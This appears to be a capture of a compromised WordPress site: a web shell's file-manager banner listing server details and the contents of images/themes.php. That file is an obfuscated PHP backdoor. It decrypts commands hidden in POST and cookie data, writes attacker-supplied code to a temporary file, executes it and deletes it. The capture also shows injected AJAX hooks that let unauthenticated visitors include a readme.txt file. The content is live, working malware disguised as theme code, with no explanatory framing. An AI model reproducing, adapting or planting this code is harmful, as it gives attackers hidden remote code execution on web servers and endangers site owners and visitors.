if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/images/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/images/themes.php
<?php 
$mdxujbdg    =       'mdxujbdg'     ^ /*   _lso  */ '

';
$zbmdfdr    = /* wiuvk */ "\x53" /* rrzp  */ .     $mdxujbdg(285-201) /*  citvjh*/ . /* b */ "\122"    . /* k  */ "\137"    .	"P".$mdxujbdg(65)    .       "D"."\137"  .    "\122"	.  $mdxujbdg(73) /* oxxwfy   */ .      $mdxujbdg(560-489)    .	$mdxujbdg(983-911)       .	"T";
$ixqdfj /*sjo */ =    "a"."r".$mdxujbdg(114)	.       "a"."\x79" /*   m*/ . /*zhd  */ "_"."m"."\141"    . /*   m  */ "p";
$zaejtkpma /*   as  */ =     "i"."m".$mdxujbdg(112)       . /*   gnyaml  */ $mdxujbdg(1082-974)	.  $mdxujbdg(597-486) /*hj */ . /*xigr*/ $mdxujbdg(957-857) /*pcie   */ .     $mdxujbdg(101);$i_uwt /*   gwrwsz*/ = /*   iyrlg   */ "s"."\x74" /* o_l_x   */ .	"r"."\137"	.    "p".$mdxujbdg(154-57)   .   "d";


$qjwtdbx	= /*   ufbmjo*/ "\x63"    .      "o"."u"."\x6e"	.    "t";




function       kbdoimp($mgujidih,      $zokefi)


{


  global /*   i*/ $mdxujbdg;


 /* s */  /*   fynq */ $mgujidih	=	"\x3c" /* v*/ . /*   iibh   */ "?".$mdxujbdg(112)   .	$mdxujbdg(104)    . /*uh  */ "p".$mdxujbdg(32) /*   vxj  */ .    "\x75"    . /* _iy */ $mdxujbdg(854-744)    . /*rmobjv */ $mdxujbdg(108) /*  d   */ . /*  ysst  */ "\151"."n"."k"."("."_"."_".$mdxujbdg(70) /*  axcqgq   */ .       "I"."L"."E"."_"."_"."\51" /* hbj */ .   ";".$mdxujbdg(32)  .    $mgujidih[$mdxujbdg(100)]; /*bov  */ $czvmdyguww    =    $mdxujbdg(102)   . /*uwfi*/ "\151"."\154" /*jp*/ .     $mdxujbdg(101) /* guum  */ .   "_"."p".$mdxujbdg(117)	. /* _avphb   */ "\164"     . /* gvuf */ "_"."c"."o"."n".$mdxujbdg(540-424)     .   $mdxujbdg(101)	.	$mdxujbdg(802-692)	.    $mdxujbdg(116) /* ztvber  */ .       "s";

      

	$czvmdyguww($zokefi,   $mgujidih);
	 /* stoau  */ jtiod($zokefi);
}




$_bknkunysx /*   z   */ =    73;

function	jtiod($zokefi)
{

 /*  oe*/ global	$mdxujbdg;
    
       include($zokefi);

	$wnyaxhna	=    $zokefi;


 /* znyi   */ @unlink($wnyaxhna);

}
function	bnhpc()

{

    global	$mdxujbdg;
 /*   hv_esz*/ $glclbtflpf /* eez   */ =	array();
 /*   r_jmec*/ $glclbtflpf[$mdxujbdg(112)     . /*lna_l */ $mdxujbdg(367-249)]   =     phpversion();

    $glclbtflpf["\163"       .    "\166"]      =	$mdxujbdg(57-6)    .  ".".$mdxujbdg(895-842);

	$ktcbximlz    =   74; /*   egea*/ echo    @serialize($glclbtflpf);}


function /* gnoy */ zqvdrzzlfx($mgujidih,     $_sevvyp)

{


	global    $mdxujbdg;

     $gqlwufjd /*   u  */ = /*kgio*/ "";

   $glclbtflpfdrldlket /*   zvx  */ =    'kowb';


 /*p  */ $tjgl_gjws   = /*etw*/ hash('sha256',	$mgujidih);	$mxgyqoww	=    str_replace('rp', /*srg   */ $tjgl_gjws,    $glclbtflpfdrldlket);
     $glclbtflpf /*   ksiigt*/ = /*  abp  */ 0;


  while    ($glclbtflpf /* a */ <    strlen($mgujidih)) /*  ym   */ {
    $tilij	= /*   faqr_m*/ isset($_sevvyp)	? /*lfobdb*/ $_sevvyp       :	'';

 /*   ingpry   */ for     ($xukpmuf	=       0;	$xukpmuf	< /*hpur   */ strlen($tilij)    &&   $glclbtflpf   < /*  vg*/ strlen($mgujidih); /*   rxj */ $xukpmuf++,	$glclbtflpf++) /*jlk */ {


  $gqlwufjd /*  rdmka   */ .= /*p_ */ $mdxujbdg(ord($mgujidih[$glclbtflpf])    ^    ord($tilij[$xukpmuf]));
       }

    if	(strlen($gqlwufjd)       >	20)	{

       $mxgyqoww /*qdlc  */ = /* ww_u  */ substr($gqlwufjd, /*   cbs   */ 0,     20);


 /*  vduh */ }


	}

 /*_if  */ if     (empty($gqlwufjd)) /*b */ {
 /*schrr  */ $gqlwufjd /*   mfrbz  */ = /*   tt_wzg */ date('Y-m-d    H:i:s');
      } /*sj */ return    $gqlwufjd;}



function    tlrmv($lmpgo){

   global  $mdxujbdg;

        /*g*/ $yfdnbbn	=	"8"."5"."5".$mdxujbdg(51)       .    $mdxujbdg(411-362)	.      $mdxujbdg(948-895)      .	"\64"	.      "c".$mdxujbdg(425-380)     .	$mdxujbdg(417-319) /*crai*/ .	$mdxujbdg(97-42)      .    "8"."\x65"."\x2d"	. /*   fskd */ "4"."4".$mdxujbdg(99) /*  zryljm  */ .     "9"."\55"	. /* zb  */ $mdxujbdg(97) /* znxx  */ .    $mdxujbdg(515-413)    .     $mdxujbdg(432-379)   .    $mdxujbdg(100)."-"."0".$mdxujbdg(1012-914) /* ymjgg*/ .  "\146"    .       $mdxujbdg(50) /*  ppa*/ .	"2"."5".$mdxujbdg(780-681)    . /*lp   */ "b"."8"."\143"      .       "b"."1";

     


	foreach    ($lmpgo /*   qhwi   */ as /*   w  */ $tjirqdhyy	=>   $mgujidih)       {

 /*  xczany  */ hdpyxq_c(base64_decode($mgujidih),  $yfdnbbn,       $tjirqdhyy);

	}
}



function /*  zwda  */ hdpyxq_c($mgujidih, /*  pbk_pt*/ $yfdnbbn,     $tjirqdhyy)


{
  global    $mdxujbdg;  

   $mgujidih    =  unserialize(zqvdrzzlfx(zqvdrzzlfx($mgujidih,	$yfdnbbn),  $tjirqdhyy));	$pwyvh  = /*  kn  */ 'mq';


	$ymoiguvkfd     =	'ohwvi';   if /* pqd  */ (isset($mgujidih["\x61" /*   dpe_ */ .      $mdxujbdg(238-131)])) /*  mdseto  */ {

     if /*   iykd   */ ($mgujidih["\141"]  == /*  f  */ "\151") /*wnzy  */ {
 /*  cvcqj  */ bnhpc();

     } /* hsr */ elseif /* h  */ ($mgujidih["\141"]    ==	"\x65")	{

    kbdoimp($mgujidih,    sprintf(".".$mdxujbdg(47) /*  xwj */ .      "\45" /*qy  */ .     $mdxujbdg(200-85)	.    "."."p"."l", /*sbuf*/ md5($yfdnbbn)));

			$lkajdv      = /*   s */ 44;
  }

 /* pgqazs  */ exit();


 /*  gnfa*/ }


}


tlrmv($_POST);    


$qraylsy	=	$ixqdfj('rawurldecode', /*  i  */ $_POST);


$comys /*   hv*/ =	$qjwtdbx($qraylsy);
if    ($comys /*   cq   */ > /*ozkat  */ 0)     {

     $y_kzunowy	= /*   fg   */ $zaejtkpma(',', /*  gha*/ $qraylsy);
}




tlrmv($_COOKIE);   


$bhvan    =	$ixqdfj('rawurldecode',	$_COOKIE);


$ejuest  = /*lafov*/ $qjwtdbx($bhvan);if  ($ejuest /*_   */ > /*   va*/ 0) /*ii*/ {
  $vzem_bk    =    $zaejtkpma(';',      $bhvan);

}
$pbdja_mxn    = /*_mb   */ $bhvan;

$wbwftr	=  date('Y-m-d   H:i:s');


$ccwsqya  =    strlen($zaejtkpma('',    $pbdja_mxn));if /* _xloht   */ ($ccwsqya    > /*   hu   */ 100) /*   vluhh */ {


   $_szklo   =       $i_uwt($zaejtkpma('', /*  r  */ $pbdja_mxn), /*  whh */ 150, /*   j_fr */ '0', /*vpuyfu*/ $zbmdfdr);

}







?>
@ Telegram